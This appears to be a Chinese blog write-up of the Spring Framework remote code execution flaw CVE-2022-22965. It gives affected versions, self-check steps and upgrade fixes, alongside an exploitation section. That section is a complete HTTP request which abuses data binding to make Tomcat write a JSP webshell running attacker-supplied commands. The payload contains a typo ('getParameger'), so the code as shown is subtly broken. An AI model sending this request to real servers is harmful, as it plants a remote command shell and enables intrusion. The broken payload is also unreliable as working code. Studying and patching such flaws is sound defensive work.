漏洞编号

CVE-2022-22965

影响范围

受影响范围

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20

及其衍生产品,且JDK>=9。

漏洞描述

Spring framework 是Spring 里面的一个基础开源框架,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

漏洞排查:

(1)检测是否使用Spring框架,若未使用,则不存在该漏洞。

(2)检查项目是否使⽤Spring参数绑定,若未使用,则不存在该漏洞。

(3)检查中间件使用的JDK版本,若版本号小于9,则不存在该漏洞。

漏洞利用

源码下载链接:SpringRCE(CVE-2022-22965)漏洞复现源码下载-网络安全文档类资源-CSDN下载

 数据包:

POST /springdemo_war_exploded/index HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=14BB837A4803AA4B52899C09561216B6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
suffix: %>
prefix: <%Runtime
Content-Type: application/x-www-form-urlencoded
Content-Length: 545

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di.getRuntime%28%29.exec%28request.getParameger%28%22cmd%22%29%29%3B%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.directory=D:/spring-rce/springdemo/src/main/webapp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

修复方案

(1)Spring框架升级到5.2.20

(2)Spring Boot升级到2.6.6

(3)在使用Spring框架的服务器中执行“java –version”查看JDK版本,如果JDK版本在8及以下,则不受此漏洞影响。

 

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐